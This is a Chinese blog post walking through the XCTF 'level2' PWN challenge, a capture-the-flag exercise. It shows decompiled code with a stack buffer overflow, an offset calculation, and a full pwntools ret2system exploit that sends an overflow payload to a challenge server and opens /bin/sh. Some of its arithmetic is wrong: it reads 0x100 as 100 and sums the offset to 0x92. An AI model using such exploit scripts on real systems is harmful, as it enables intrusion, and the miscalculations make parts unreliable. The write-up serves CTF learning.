【愚公系列】2022年01月 攻防世界-简单题-PWN-002(level2)

举报
愚公搬代码 发表于 2022/01/18 14:20:33 2022/01/18
【摘要】 一、level2题目链接:https://adworld.xctf.org.cn/task/task_list?type=pwn&number=2&grade=0 二、答题步骤 1.获取在线场景 2.查壳对下载文件进行查壳,命令如下file level2checksec --file=level2分析文件,小端程序(LSB),栈不可执行。 3.IDA使用IDA对文件进行反汇编第一步:首先找...

一、level2

题目链接:https://adworld.xctf.org.cn/task/task_list?type=pwn&number=2&grade=0

二、答题步骤

1.获取在线场景

在这里插入图片描述

2.查壳

对下载文件进行查壳,命令如下

file level2
checksec --file=level2

在这里插入图片描述
分析文件,小端程序(LSB),栈不可执行。

3.IDA

使用IDA对文件进行反汇编

第一步:首先找到main函数

查看main函数,发现没有能够注入的地方。但是vulnerable_function格外醒目

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  system("echo 'Hello World!'");
  return 0;
}

在这里插入图片描述
第二步:进入vulnerable_function函数

进入vulnerable_function,发现有一个_read函数,且存在溢出风险。

ssize_t vulnerable_function()
{
  char buf[136]; // [esp+0h] [ebp-88h] BYREF

  system("echo Input:");
  return read(0, buf, 0x100u);
}

在这里插入图片描述
函数return了一个 read(0, &buf, 0x100u);也就是回了一个read操作,大小为0x100u也就是100个空间,但是不知道100空间具体大小,因此双击进入变量&buf查看

在这里插入图片描述

  • 0000000000000088 - 0000000000000000个地址(注意是16进制),也就是0x88个地址,这是buf到s的。
  • 0000000000000004 - 0000000000000000个地址,也就是0x04个地址,这是从s到r的

两者相加,一共0x92个地址,把这些个地址用字符堵死,后续就能伪造执行的read

第三步:bin/sh利用

发现bin/sh的利用函数

在这里插入图片描述
完整地址是:000000000804A024 ,这里其实只取后八位就可以:0804A024,也就是0x0804A024

用脚本把前面0x92个空间打死然后把这个函数地址用p32(0x0804A024)拼接上,就可以让read拿到我们的bin/sh权限了。

用法:payload = 'a' * (offset + 4) + sys_addr + ret_add + sh_addr

from pwn import *

context.log_level = 'debug'

sh = remote('111.200.241.244',53816)

elf = ELF('./level2')

system_addr = elf.symbols['system'] #system的起始地址

#binsh_addr = elf.search('/bin/sh').__next__()#bin的起始地址0x0804A024
binsh_addr =0x0804A024
payload = 'a'*0x88+'a'*0x4 + p32(system_addr).decode('unicode_escape') + p32(0).decode('unicode_escape') + p32(binsh_addr).decode('unicode_escape')

sh.sendlineafter('Input:',payload)

sh.interactive()

kali执行脚本
在这里插入图片描述
运行得到flag:cyberpeace{173d78ae91aabb903769ef7f490292ca}

总结

  • p32用于解析32位地址
  • IDA
  • checksec
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。